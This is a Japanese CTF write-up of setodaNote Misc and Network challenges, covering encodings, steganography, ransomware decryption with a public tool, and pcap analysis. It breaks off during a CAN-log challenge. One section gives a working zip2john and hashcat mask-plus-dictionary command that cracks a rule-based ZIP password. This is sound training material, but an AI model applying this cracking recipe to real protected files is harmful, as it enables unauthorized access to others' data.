setodaNote CTF writeup

Writer:b1uef0x / Webページ建造途中

概要

個人参加。8位で終了で全問題を解くことができた。

スコアボード

目次

Welcome (Misc:20)

ようこそ setodaNote CTF へ

これはチュートリアル用の設問です。本 CTF では Linux ターミナルが利用できます。以下の URL からログインし、ターミナル上に存在するファイル welcome.txt の内容を確認し、フラグを獲得してください。

 https://ctf.setodanote.net/webshell
 ※ログインに必要なユーザ名とパスワードは、本 CTF にご登録いただいているものと同じです。
 ※利用の必要がある設問の説明文には上記のリンクが記載されています。

WebShellにログインしてwelcome.txtの中身を表示させるだけ。cat wlcome.txt

flag{Enjoy_y0ur_time_here!}

morse_one (Misc:39)

友人から「秘密のメッセージを送るね」とあるテキストファイルが送られてきました。どうやらそのままでは読めないようです。添付されたファイルを解析し、秘密のメッセージを見つけ出してください。

フラグは得られた文字列を flag{} で囲んで答えてください。フラグに英字が含まれている場合はすべて大文字で答えてください。例えば得られた文字列が Flag の場合は flag{FLAG} となります。

配布される暗号文「DDDBSDDSBDDDSDBDSBBBSDBBDSDBDDSDSBDDB」は問題の名前のとおりモールス信号になっている。

DDDB S DD S BDDD S DBD S BBB S DBBD S DBDD S D S BDDB
・・・-   ・・   -・・・   ・-・   ---   ・--・   ・-・・   ・   -・・-
V     I     B      R     O     P      L      E   X

flag{VIBROPLEX}

Hash (Misc:20)

ちくしょう、なんてことだ。知り合いから預かっていたファイルをゴミ箱に放り込みやがった。まだ中身の確認もしていなかったのにだ。問い詰める必要はあるだろうが、いまはとにかくファイルを取り戻すことが先決だ。優先順位を間違えてはいけない。とくにかくゴミ箱からファイルを取り戻さなくては。・・・なんだぁこいつは、ファイル名が書き換えられてしまっているじゃあないか。なんて野郎だクソっこれじゃほかのファイルと見分けがつかないじゃあないか。なんて日なんだ今日はよぉ。しかしまったくもって腹立たしいことは確かだが、まだ焦るのは早すぎるよなぁ。ぜんぜん焦る必要はねぇ。なぜならこっちにはファイルと共に受け取ったこのハッシュ値があるんだからよぉ・・・

添付ファイルを解析し、以下のハッシュ値を持つファイル見つけ出してください。フラグはそのファイルに記載されている文字列を組み合わせたものとなります。
aff02d6ad353ebf547f3b1f8ecd21efd7931e356f3930ab5ee502a391c5802d7
8428f87e4dbbf1e95dba566b2095d989f5068a5465ebce96dcdf0b487edb8ecb
e82f6ff15ddc9d67fc28c4b2c575adf7252d6e829af55c2b7ac1615b304d8962

pass001.txtからpass090.txtまで配布される。これらのファイルのSHA256ハッシュをとって次の3つになるものを見つけ出して組み合わせるとflagになる。

やり方はたくさんあるが例えばPowerShellのGet-FileHashでフォルダ全体を指定すると簡単に一覧が取得できる。

PS>Get-FileHash .\hash\*


Algorithm       Hash                                                                   Path
---------       ----                                                                   ----
SHA256          69856AD49E93E3BB3C39F6AE827E1F571156A623450BB36941DC3BEDA593511B       .....\hash\pass001.txt
SHA256          B0D93D4A6FC08BF9DC2CE0C0997F48893EFB6ADF1363DB4B708C3F1D2D3B9670       .....\hash\pass002.txt
SHA256          C3064493645FC6045F797EEEF61919FDF8D74F48468F1A1992259C021E49DB00       .....\hash\pass003.txt
SHA256          7F426632E92A096D1829708E6E2744739BAE9156E23DEBD587D50F9EB359A7F9       .....\hash\pass004.txt
SHA256          0C9EAE0B76E5BF83EC1C2292823AF05495971C33701B75CD32BECDCD7078397B       .....\hash\pass005.txt
SHA256          16410A7DCA71ECBE16F1CDF3BE7C11A20A7F9703A80A8F019495A1AE34A765FC       .....\hash\pass006.txt
SHA256          3F061E621D8ED25DA731B8735A247A0EE6BE398FA713D4EC6197C06DE32ECE3A       .....\hash\pass007.txt
SHA256          857C7EF7DB7BDC8CB47C667F9020C2B96E24B24EFA262B88D283DAF177AD49D3       .....\hash\pass008.txt
SHA256          DB8816963873B19D65C4D067BA4ACF8D5BC2387C62F17110BCD966373319F5B8       .....\hash\pass009.txt
SHA256          033768D4BB754DD60F76C0CBE68E28459B3F4E1777F3A78347CE55018BC10C3B       .....\hash\pass010.txt
SHA256          EA4F470897E7F5FC5B7B538D11A40964F31600FB39AA04F18027829055FC1B67       .....\hash\pass011.txt
SHA256          F819BEABD6CF4B7BFB578354DBCABFFBF834A547344DD96A0A8BB54FF49F9A50       .....\hash\pass012.txt
SHA256          CDC259282C38BB9E3EE01EC76DAF5E60D83719C587C43CCC495C9EE591E64D51       .....\hash\pass013.txt
SHA256          AF3EECACA6E8B0C2D05FB5E2F7271D855CC4E4ECCFE34E4F2F8B2254CE005C4F       .....\hash\pass014.txt
SHA256          EA11DC6E142FF43219BD67D8DAB07A47D9A021B7148F223E627879B1C54A1C11       .....\hash\pass015.txt
SHA256          EC4622E295846A17838F31ABB614D98FD4629B1CDDCEBA5C89DABFE27AD98E9C       .....\hash\pass016.txt
SHA256          54194461E379E33C7EA780937708743297CFFFD9EF16A19F2834A40FF4820CFA       .....\hash\pass017.txt
SHA256          DAF7F2D0DEDA7D6F008D854BFB854CBC994D41140076E12EF32B3B2EDD153BA0       .....\hash\pass018.txt
SHA256          38F7AD42FF236030B0AFDF53D3D3A60E921A5482695EC08FDCA75F62B8F8B681       .....\hash\pass019.txt
SHA256          CB5000C5EB5CD539EFE8DF57983B8024ECCE34330708CBB84A9FB1344433C420       .....\hash\pass020.txt
SHA256          EC76B8780771AB8227E07C4D1CFEDB1E7F70E7C46AED1A56461DF00289DE243B       .....\hash\pass021.txt
SHA256          0FD0CDD468B1AA013F11B0F9BCDFFBC5316B7374B9BB3400C172BB1902A97F06       .....\hash\pass022.txt
SHA256          7552FEDA4C1A40CF090DAD4EC3C25405841050BA3E72D556C9D48008E952F2B5       .....\hash\pass023.txt
SHA256          AFF02D6AD353EBF547F3B1F8ECD21EFD7931E356F3930AB5EE502A391C5802D7       .....\hash\pass024.txt
SHA256          8448742A81D359161E163E92F0A87EECD7D15CAD874AD6178F7F8E4DFE72E0EF       .....\hash\pass025.txt
SHA256          C547F4E1BC9F683FA7482AEF9643DFD274AEFA6BCD50DAAB4C580A248A8BB63C       .....\hash\pass026.txt
SHA256          A0B367148A6F9FD2AF75E6FD824671BB33BA65AE7A7D17C178AED30F5FAFCF5D       .....\hash\pass027.txt
SHA256          EC03262840F0408974E90E20025CA121ABCFD746D6A8D88F3F6C395F850663BD       .....\hash\pass028.txt
SHA256          BB3C22E84918D8532B4F37822AED1746CEEFDE46C5E24271FFD15F28B4B0DDCA       .....\hash\pass029.txt
SHA256          4F3CB84C631C91D7F0D41999C342233E279F81632811BC227E6F4F62BA934FEF       .....\hash\pass030.txt
SHA256          C8205B047AC63D0136C4A7AC6818F0449A2B3A6A51F0335CF278FCAF0FDE2C1D       .....\hash\pass031.txt
SHA256          6D40F7CFC5F385DAABB6009704720B88B2384A8F18BDFEABD2EEBE51297645E6       .....\hash\pass032.txt
SHA256          252DECC1E98B826DC8ED80DF2F69CC31544E4EB7DBD07DBA1637D66DF7AD8798       .....\hash\pass033.txt
SHA256          8428F87E4DBBF1E95DBA566B2095D989F5068A5465EBCE96DCDF0B487EDB8ECB       .....\hash\pass034.txt
SHA256          3416B6006E3B2DC164BF863EB967182B050290364383C6BEDC1A404280803917       .....\hash\pass035.txt
SHA256          F92076F6DFFE01898AA695C54BB5A099E3F80E9191C69452965DA80DDA457404       .....\hash\pass036.txt
SHA256          383D372D28BFAA9DA3765BA70418EE50CF048D462CC8338A2650D477DEB38EAF       .....\hash\pass037.txt
SHA256          2637DF8F397DDDC5CF3902954F0888A1E0D3ACB647FB42B083C397596D43C990       .....\hash\pass038.txt
SHA256          E2CDA7A938E2013A437BED08BDABC4B33C556D61C8A850455B9539996345B658       .....\hash\pass039.txt
SHA256          62C0C8B28E404F0C68055DE8EB70CCBE00049DF5DF820511A200559447C5C593       .....\hash\pass040.txt
SHA256          876DB809633C391E683D7286378D912D83115AB91F7D0E879F6A31FCD8F1FFB6       .....\hash\pass041.txt
SHA256          D23D4351CBDC2CB43B753DADB68B29AD6A7DF0E29D5A11F4DF016E40341BEE30       .....\hash\pass042.txt
SHA256          EBC284CE89338AC7D2FC0252C4E621EE61382E305497F8474BE2402656A7F12A       .....\hash\pass043.txt
SHA256          5E1749E5473711001C195EBFF492424FD9AF69D9B8ABDCE07A867ABF0ADCDDF1       .....\hash\pass044.txt
SHA256          855F0EF87F7C54A15852F90561A812427316EE2213A93BF1366DDF4975A7E56F       .....\hash\pass045.txt
SHA256          1E7ECC95DA6A3F7C8103521EDA9A1CA18C8A88394E0CC9173025C1770782C258       .....\hash\pass046.txt
SHA256          40D1F5808C2C1047683C3C92064AD571E8C8CBABB1A07E5B796A8EE85F556443       .....\hash\pass047.txt
SHA256          D9AD375514B84AD51BD97CB741A9E3F585E1A616EA138B1C09149C6911D295B5       .....\hash\pass048.txt
SHA256          D87EF902F63FE615A55FE7900E501BDE151A9B53F8489BAC3A13663DBCD4CA1A       .....\hash\pass049.txt
SHA256          5B8959FD09B5C1A4A77631331787A4B486F2FB6700665F22BFFD7E14EBAF6C35       .....\hash\pass050.txt
SHA256          98AA5CD30EE6203D86AFC00B0E3CD5C6DA688876549816E7F2913ECE1EC415CE       .....\hash\pass051.txt
SHA256          FAA7C3332F5C158BD6DF87F4EB6F446158C864414E3966B4AFAE47DD1061576E       .....\hash\pass052.txt
SHA256          94ECEF8522CC02A8ECB848BB1A83EC4DA1F832267B0796EF442653F43D95DAD2       .....\hash\pass053.txt
SHA256          35D74B2A1E3A3178388C8A1A38C90CBFF7D3AF849300779D4E6931EE5B39AD27       .....\hash\pass054.txt
SHA256          C2C2D1C3853A2209C935316D36446B7C83B80D19CC3EAC24CE4F7ABEDD98293F       .....\hash\pass055.txt
SHA256          D97C24D6954B37CF75760FBFA810637FBE548CD45A9BFEE934171303AB5AC0FE       .....\hash\pass056.txt
SHA256          F9CE1B396DC7A8F18CE23CB17F02C5EFDB248F0C96BCF9359AA5F7B761833054       .....\hash\pass057.txt
SHA256          78A6C2BF5E0E9CBB9B3858B8C450D5CD6977E9FA1960571E3D3DE2778238DEB1       .....\hash\pass058.txt
SHA256          CC5660C9F16A9D7A47424B22A56F38A45F5E0FBD45755FA046D02B1CE49F011B       .....\hash\pass059.txt
SHA256          0F197D2D120DAF5D2320340E7D25D652D96A860E879C452D42140A45BACD2EAF       .....\hash\pass060.txt
SHA256          DA5237DE51BE19A47B8EF78BFA2683B9F7EB9710D40A3BF306D2EDC4684CE34F       .....\hash\pass061.txt
SHA256          39F8C75321F2D8D2FB06F054CD2D3438A7406482E630FF3D466D2C956F02F123       .....\hash\pass062.txt
SHA256          295A12FD2B9795702D1EBB925B9EC93FB1A535FCDFCCB594FB5B03D24576989D       .....\hash\pass063.txt
SHA256          AD5CCAD1311429D3EB11BFD09CE205840C0D6B1701E0FFE291D4831CCEB1465B       .....\hash\pass064.txt
SHA256          E34460128ABDAB34F7CC24A075B2881A9E06350826F088C7FD2262DCD0ED7AEA       .....\hash\pass065.txt
SHA256          DDE94B228D13F4B116C16DA4C76F4F38A05B7EAD27D4186639863AE0A0706CAE       .....\hash\pass066.txt
SHA256          6E26F60D36A2250A40CB1D492513CA5E43170432362B9C5416C3ADF1BC59F821       .....\hash\pass067.txt
SHA256          6534FC3E373E1176C12B33765F2DE9648C25B9F3A428C6CB337CDF9BCD753691       .....\hash\pass068.txt
SHA256          39EA0A6544DA113628126E479640B7E328D2E2C73A697CC80937B3B82CB2D675       .....\hash\pass069.txt
SHA256          29A81FB1648406EA8E0CD05495F2F6686F8301092871DF8C12B68A0E1CBF442A       .....\hash\pass070.txt
SHA256          B300E95643DFB76578B754B3CE010909DF9C0C622946FF350822F18850F5898C       .....\hash\pass071.txt
SHA256          76C7C473909F84EE4BB414C6D4F9A4469F742534032C03FDFCAD6A51558B8018       .....\hash\pass072.txt
SHA256          C3F9476D4CB5FA362631E58444FDFAE4B6195D1C771DC6E6AF70CB249918ED53       .....\hash\pass073.txt
SHA256          93431DF73A534F209F53C60A390D6FDF049BA85988E1F5E891EFA59112C8CCDE       .....\hash\pass074.txt
SHA256          DCB87296842574C0EF2D6A938F48389C72E92B5A85C497ADBE7DBCD6C0E45F09       .....\hash\pass075.txt
SHA256          82B821AED22D14EBB89468C444ED2970DF26AC41A368898B7B790969A3BB9AD8       .....\hash\pass076.txt
SHA256          288D7DEEF3C6CB6FBFF15B0D607648EA856B8ACA44F3FB365CBE1C55DDBD2385       .....\hash\pass077.txt
SHA256          638FC18CEFB8F4A92F4398F3E0F24B6AC83AB1B66799C89A953357FAD5AE7018       .....\hash\pass078.txt
SHA256          E82F6FF15DDC9D67FC28C4B2C575ADF7252D6E829AF55C2B7AC1615B304D8962       .....\hash\pass079.txt
SHA256          CA6FB4582E8AC8171E771AFBF43D533BF979BD6A38A1B3773B9044178D2E451E       .....\hash\pass080.txt
SHA256          86AE542642E765C2AD9BEFB76E4BD61682FF4DDEA43D359457BA71ACFBE7B169       .....\hash\pass081.txt
SHA256          A8D6B83A767276B9D5318EAC03CFCAFBAACFCBEB17F14C1F764ABD368AE0D7F1       .....\hash\pass082.txt
SHA256          51410C124B548ED80E274B78BD6B2CF2FDFD4410D3DB7D39EA5B5EB8393F4D5D       .....\hash\pass083.txt
SHA256          B12C078311997AF43DE77C3A5838B409F20649ACD4C88D29C7338589049C0E6B       .....\hash\pass084.txt
SHA256          26857AFFB3DE7B1828422F42E7F5F2E31EC2C3647E93EB20033636FA1D84D2D9       .....\hash\pass085.txt
SHA256          E2456C0EBB9081068E083F62DA4F9A614E4538B731063EFF68023C4D294BA9A8       .....\hash\pass086.txt
SHA256          8CB076A0B400E1DE66E53B1744E0AD385485B62E430DD50EEDBE009056CD1418       .....\hash\pass087.txt
SHA256          14455D9B719D0EA43BCE0114C32CD5DF0C735B7D0066AF23CA7C22C6867E963D       .....\hash\pass088.txt
SHA256          F67028BDC903112225FFB26235A3E100FF72F5D06438E6678F20E4B2BCCE6B26       .....\hash\pass089.txt
SHA256          7507F8BE0C1F679EC2E480EE6B352854E57A5E3AD687AB7C7F8C93D09D579B4E       .....\hash\pass090.txt

pass024.txt、pass034.txt、pass079.txtがヒットするので中身を順番に並べる。

flag{hardest_logic_puzzle}

F (Misc:80)

友人のプログラマーからあるテキストデータを受け取りました。中身はあるプログラミング言語で書かれたプログラムだというのですが、、、

以下のテキストデータを解析し、フラグを得てください。

+++++++[->++++++++++>+++++++++++>+++++++++>++++++++++<<<<]>.>-.>++.>+.>++++++++
[>++++<-]>.>+++++[->+++++++++++++++++++++>+++++++++++++++++++++++<<]>.>.>++++++++[>++++
<-]>.>++++++++++[->++++++++++>++++++++++>++++++++++>++++++++++>++++++++++++<<<<<]>
++.>++++++++.>---.>+++.>+++.>++++++++[>++++++++<-]>++++.>+++++++++++[>++++++++++>++++++++++
<<-]>+.>.>++++[>++++++++++<-]>-.>+++[->+++++[->++++++++<]<]>>----.>++++++++++
[->++++++++++>+++++++++>++++++++++++>++++++++++>+++++++++<<<<<]>-----.>-----.>-----.>
+.>+++++.>++++++++++++++++++++[>++++++>+++++>+++++>+++++>+++>++<<<<<<-]>----.>
++++.>+.>-----.>++++++++++.>+++++.>++++++++++[->+++++++++>+++++++++++>+++++++++++>++++++++++<<
<<]>---.>+.>++++.>.>+++[->+++++++++++<]>..>+++++[->+++++[->+++++<]<]>>.

brainfuckで書かれたプログラムである。

適当なインタープリターを探して実行させるとflag入手できる。

FLAG is flag{Don't_Use_the_F-Word!!}

magic_number (Misc:80)

添付されたファイルから以下が示す3つのファイルを探してください。

[89 50 4e 47]
[52 61 72 21]
[ff d8 ff e0]

フラグは該当するファイル名を以下の順番にアンダースコアでつないで回答してください。

flag{[89 50 4e 47]_[52 61 72 21]_[ff d8 ff e0]}

例えばファイル名がそれぞれ以下の場合は flag{aaa_bbb_ccc} と答えてください。

[89 50 4e 47] = aaa.txt
[52 61 72 21] = bbb.exe
[ff d8 ff e0] = ccc.zip

雑多なファイルが配布され、ファイルのヘッダ先頭のマジックナンバーが次のものを探してflagを作る。

[89 50 4e 47]がPNG、[52 61 72 21]がRAR、[ff d8 ff e0]がJPEGファイルのマジックナンバー。よってpost.png、rar.rar、light.jpgの名前を組み合わせる。

flag{post_rar_light}

Stegano (Misc:100)

友人からある画像が送られてきました。何かが写りこんでいるらしいのですが。

添付されたファイルを解析してフラグを入手してください。

画像ファイルが配布されるので、うさみみハリケーンの青空白猫に読ませてステガノ解析する。

ビットプレーン ビット4で左上に文字列。

「 flag{Re4l17y_ 」

XORで中央に文字列。

「 f1s_cReA73d_by 」

ビットプレーン ビット4で右下に文字列。

「 _7h3_m1nd_rA9} 」

flag{Re4l17y_1s_cReA73d_by_7h3_m1nd_rA9}

morse_zero (Misc:100)

友人から「マジの秘密のメッセージを送るね」とあるテキストファイルが送られてきました。どうやらマジでそのままでは読めないようです。添付されたファイルを解析し、マジの秘密のメッセージを見つけ出してください。

フラグは得られた文字列を flag{} で囲んで答えてください。フラグに英字が含まれている場合はすべて大文字で答えてください。例えば得られた文字列が Flag の場合は flag{FLAG} となります。

モールス信号問題2つ目。メモ帳で開いてもZが並んでいるだけだが、バイナリエディタで開くと複数の種類のスペースで作られていることがわかる。

テキストファイルをバイナリエディタで開いた画像

8Bを・、8Cを-、5Aを文字区切りとすると次のようになる。

--・・ ・ ・-・ ----- ・・--・- ・-- ・---- -・・ - ・・・・ ・・--・- ・・・ ・--・ ・- -・-・ ・

flag{ZER0_W1DTH_SPACE}

ransom_note (Misc:100)

あなたの元に緊急の対応依頼が飛び込んできました。重要なファイルがランサムウェアによって暗号化されてしまった。なんとか助けてほしい。電話越しに状況を聞き取りつつ、1枚の画像が送られてきました。端末のディスプレイを写したもののようです。「No More Ransom Project の出番だな。」その画像を見た上司がつぶやきます。今回のあなたの仕事はランサムウェアによって暗号化されてしまったファイルを復元することです。

添付されたファイルを解析し、フラグを得てください。

ランサムウェアで暗号化されたファイルと脅迫メッセージのファイルが配布される。

NPIEWI-DECRYPT.txtを見ると使用されているランサムウェアはGANDCRAB V5.0.3であることがわかるので、問題どおりNo More Ransom ProjectのWebサイトからGrandCrabの復号ツールを入手する。

ツールを使って暗号化ファイルを復号するとsecret.txtが復元される。

flag{unlock1ng_y0ur_d1gital_life_with0ut_paying;)}

Nothing (Misc:120)

あなたは友人のプログラマーからあるテキストファイルを渡されました。中身を確認しますが画面には何も表示されません。何も書かれていないのか、いや、よく見ると、、、

添付されたファイルを解析してフラグを得てください。

テキストファイルが配布され、バイナリエディタで開くと次のようになっている。

テキストファイルをバイナリエディタで開いた画像

よく読むと16バイトで一つの塊になっており、00~0Aまでが20又は09で作られた2進数、0B以降はパディングとなっている。

バイナリ列を取り出してJavaScriptで以下のsolverを書いた。

<pre>
<script>
var data = "20 20 20 20 09 20 20 20 09 09 20 0A 09 0A 20 20 20 20 20 20 09 20 20 09 09 20 20 0A 09 0A 20 20 20 20 20 20 09 20 20 20 20 20 09 0A 09 0A 20 20 20 20 20 20 09 20 20 20 09 09 09 0A 09 0A 20 20 20 20 20 20 20 09 20 20 20 20 20 0A 09 0A 20 20 20 20 20 20 09 09 20 09 20 20 09 0A 09 0A 20 20 20 20 20 20 09 09 09 20 20 09 09 0A 09 0A 20 20 20 20 20 20 20 09 20 20 20 20 20 0A 09 0A 20 20 20 20 20 20 09 09 20 20 09 09 20 0A 09 0A 20 20 20 20 20 20 09 09 20 09 09 20 20 0A 09 0A 20 20 20 20 20 20 09 09 20 20 20 20 09 0A 09 0A 20 20 20 20 20 20 09 09 20 20 09 09 09 0A 09 0A 20 20 20 20 20 20 09 09 09 09 20 09 09 0A 09 0A 20 20 20 20 20 20 09 20 20 20 20 20 09 0A 09 0A 20 20 20 20 20 20 09 09 20 09 09 09 20 0A 09 0A 20 20 20 20 20 20 09 09 20 20 09 20 20 0A 09 0A 20 20 20 20 20 20 09 20 09 09 09 09 09 0A 09 0A 20 20 20 20 20 20 09 20 09 20 09 20 20 0A 09 0A 20 20 20 20 20 20 09 09 20 09 20 20 20 0A 09 0A 20 20 20 20 20 20 09 09 20 20 09 20 09 0A 09 0A 20 20 20 20 20 20 09 09 20 09 09 09 20 0A 09 0A 20 20 20 20 20 20 09 20 09 09 09 09 09 0A 09 0A 20 20 20 20 20 20 09 20 09 20 09 20 20 0A 09 0A 20 20 20 20 20 20 09 09 20 09 20 20 20 0A 09 0A 20 20 20 20 20 20 09 09 20 20 09 20 09 0A 09 0A 20 20 20 20 20 20 09 09 09 20 20 09 20 0A 09 0A 20 20 20 20 20 20 09 09 20 20 09 20 09 0A 09 0A 20 20 20 20 20 20 09 20 09 09 09 09 09 0A 09 0A 20 20 20 20 20 20 09 20 09 20 09 09 09 0A 09 0A 20 20 20 20 20 20 09 09 20 20 09 20 09 0A 09 0A 20 20 20 20 20 20 09 09 09 20 20 09 20 0A 09 0A 20 20 20 20 20 20 09 09 20 20 09 20 09 0A 09 0A 20 20 20 20 20 20 09 20 09 09 09 09 09 0A 09 0A 20 20 20 20 20 20 09 20 20 09 09 09 20 0A 09 0A 20 20 20 20 20 20 09 09 20 09 09 09 09 0A 09 0A 20 20 20 20 20 20 09 09 20 09 09 09 20 0A 09 0A 20 20 20 20 20 20 09 09 20 20 09 20 09 0A 09 0A 20 20 20 20 20 20 09 09 09 09 09 20 09 0A 09 0A 20 20";

var ary = data.split(" ");
var out = "";
for(i=0; i<ary.length/16; i++) {
        tmp1 = Math.pow(2,10);
        tmp2 = 0;
        
        for(j=0; j<=10; j++) {
                if(ary[i*16+j]==="09")tmp2 += tmp1;
                tmp1 /= 2;
        }
        document.write(tmp2+" ");
        out += String.fromCharCode(tmp2);
}
document.writeln(" ");
document.writeln(out);

</script>
</pre>

FLAG is flag{And_Then_There_Were_None}

i_knew_it (Misc:120)

「このアセンブリ、見た瞬間あなただと分かりましたよ。」

ある暗号方式の名称がフラグになっています。添付ファイルからその暗号方式の名称を特定し、フラグ形式で回答してください。

フラグに英字が含まれている場合は、すべて大文字で答えてください。例えば This_is_FLAG が得られた場合は flag{THIS_IS_FLAG} となります。

何かのプログラムをIDAで解析したブロック図が配布される。

IDAのブロック図]

RC4である。

flag{RC4}

Redacted (Misc:150)

あなたの友人のジャーナリストは極秘ファイルの入手に成功しました。ですが重要な部分が黒塗りにされてしまっているようです。このままでは真実が闇に葬り去られてしまいます。あなたは極秘ファイルの解析を依頼されました。添付されたファイルを解析し、真実を明らかにしてください。

PDFファイルが配布される。flagが書かれてそうな文字列が黒塗りになっている。適当なソフトで画像抽出をすると読める。

抽出した画像

flag{weather_balloon}

strong_password (Misc:250)

あなたの同僚は部署内で利用されているパスワード規則に疑問を抱いているようです。脆弱なパスワードが生成されてしまうのではないかと。これを確かめるべく同僚は、過去実際にこの規則に従い作成されていたパスワード付きzipのコピーをあなたに送付し、その解析を依頼しました。

添付されたファイルを解析し、フラグを入手してください。なお、ファイルはコピーであり更新日時が実際にパスワード設定された日時とは異なる点に注意してください。

パスワードのかかったzipファイルが配布される。パスワードの規則は添付のPDFのとおり。

情報セキュリティガイドライン

考えられるパスワードの総数は、大小半角アルファベット52文字の3乗×記号6種類の2乗×20200401~20210831(518日)で26億通りほど。上手くパスワードの規則に合わせたパスワードクラックを行えば攻略できる量になる。

まずパスワードクラックツールであるJohn the Ripperに同封されているzip2johnを使って、zipファイルからパスワードハッシュを取り出す。

zip2john.exe .\TopSecret.zip > hash.txt

次のパスワードハッシュが得られる。

$pkzip2$1*1*2*0*55*49*8578f5f9*0*2b*0*55*8578*92c0*598c6b323287ee253bad1378d1f4fe4d91648ea9f1e60fe80374b917e47421b6f3379cf786e9c22453d02e8192c2aecd93122be13b2c348d02c0229c6c8a6b433ac24b17d0e18f215252601daafe595eb6ba28eab3*$/pkzip2$

続いてhashcat( https://hashcat.net/wiki/ )を使ってパスワードクラックを行う。hashcatではパスワードの生成ルールを定義することができるが、日付部分を定義するのは難しいため、ここを辞書データにしてルールと組み合わせた次のコマンドを使用した。

 .\hashcat.exe -m 17210 -a 7 -w 4 .\hash.txt -1 '?l?u' -2 '@#$%!-' '?1?1?1?2' date.txt

-m 17210はZIPの圧縮フォーマットであるPKZIP (Uncompressed) の指定、-a 7はマスク+辞書の組み合わせでパスワードを生成することを指す。マスク+辞書+マスクといった指定ができなかったため、日付部分には末尾の記号を含めた以下のような辞書データを用意している。

20200401@
20200401#
20200401$
20200401%
20200401!
20200401-
20200402@
20200402#
20200402$
20200402%
20200402!
20200402-
20200403@
20200403#
20200403$
20200403%
20200403!
20200403-
20200404@
20200404#
20200404$
20200404%
20200404!
20200404-
20200405@
20200405#
20200405$
20200405%
20200405!
20200405-
20200406@
20200406#
20200406$
....

マスク部分は?lが小文字アルファベット、?uが大文字アルファベット、-1 '?l?u'で大小アルファベットを両方含むカスタムマスク1。同様に-2 '@#$%!-'で6種類の記号を含むカスタムマスク2を作成して、これを?1?1?1?2と並べることで、アルファベット3文字+記号1文字を作っている。ここに残りの日付+記号1文字を列挙したdate.txtをくっつけている。

実行すると一瞬でパスワードが得られる。

hashcatによるクラック結果

得られたパスワードqYL%20210228!を使ってzipを解凍するとflagが得られる。

flag{And_n0w_h3re_is_my_s3cre7}

Host (Network:30)

あなたはある通信を保存したファイルを受け取りました。添付されたファイルを解析し、通信先の Web サーバのホスト名を特定してください。

フラグはホスト名をフラグ形式で答えてください。例えばホスト名が host.example.com であった場合、フラグは flag{host.example.com} となります。

pcapファイルが配られるので、WireSharkで開いてHTTP/1.1 200 OKの部分を開いてRequest URIのドメインがflag。

flag{ctf.setodanote.net}

tkys_never_die (Network:50)

うまく爆発を避けれられているといいが。爆発音とともに通信が途切れる間際、後輩からデータが送られてきました。ターゲットが重要なファイルにアクセスしたことを示す証拠だと言い残して。後輩のためにもデータを解析し、重要なファイルの内容を特定してください。

添付されたファイルを解析し、フラグを得てください。

pcapファイルが配られるので、WireSharkで開いてオブジェクトのエクスポートをするとflag.pngが手に入る。

flag{a_treasure_trove}

echo_request (Network:120)

組織内の通信を監視している部署から不審な通信データがあるので解析をしてほしいと依頼がありました。通信自体は許可されたプロトコルが使用されているようですが、、、

添付されたファイルを解析し、フラグを入手してください。

pcapファイルが配られるので、WireSharkで開いてICMPパケットを見ると、DataにASCIIコードらしき16進数データが続いているので抜き出す。

66 6c 61 67 7b 49 43 4d 50 5f 54 75 6e 6e 65 6c 69 6e 67 5f 54 31 30 39 35 7d

ASCIIコードに直すとflagが得られる。

flag{ICMP_Tunneling_T1095}

stay_in_touch (Network:150)

あなたはある事件の調査としてある人物の通信を監視しています。どうやら誰かと連絡を取り合っているようです。通信データファイルを解析し、やりとりの内容を明らかにしてください。

添付されたファイルを解析し、フラグを入手してください。

pcapファイルが配られるので、WireSharkで開いてTCPストリーム追跡から調べる。通信内容はメールのやりとりとなっているので、添付ファイルを探す。

添付ファイル

zipファイルを送っているメールが見つかるので、base64エンコードされているzipファイルを適当なbase64デコーダ( https://uic.jp/base64encode/ )で復元する。

復元したzipにはパスワードがかかっているため、パスワードを送っているメールを探す。

パスワード

無事パスワードを送っているメールが見つかる。かくしてPPAPは破られた。

flag{SoNtOkIhAmOuKaTaHoUmOtSuMuRuNoSa;)}}

yes_you_can (Network:150)

精密機械の技術者である古い友人から一通の封筒が送られてきました。中にはあなたに解析してほしいと震えた筆跡で書かれた手紙と1枚の SD カード。SD カードの中には1つのファイルが記録されていました。

添付されたファイルを解析してフラグを入手してください。

dump.logが配布される。何の通信かと思ったら車載システムで使用されるCANの通信ログである。大雑把なフォーマットは以下のとおり。

(1628245600.155918) vcan0 095#800007F400000017
     時間         vcan番号 ID#通信データ

VCAN0上の通信ログで、多くのIDのデバイスから通信データが送られている。データはそのままASCIIコードでデコードできる可能性があるので、IDごとに通信データをまとめてASCIIに変換したものが次の結果になる。

133:
136:9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9**9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9**9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9**9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9**9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9**9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9**9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9**9*9*9*9*9*9*9*9*9*9*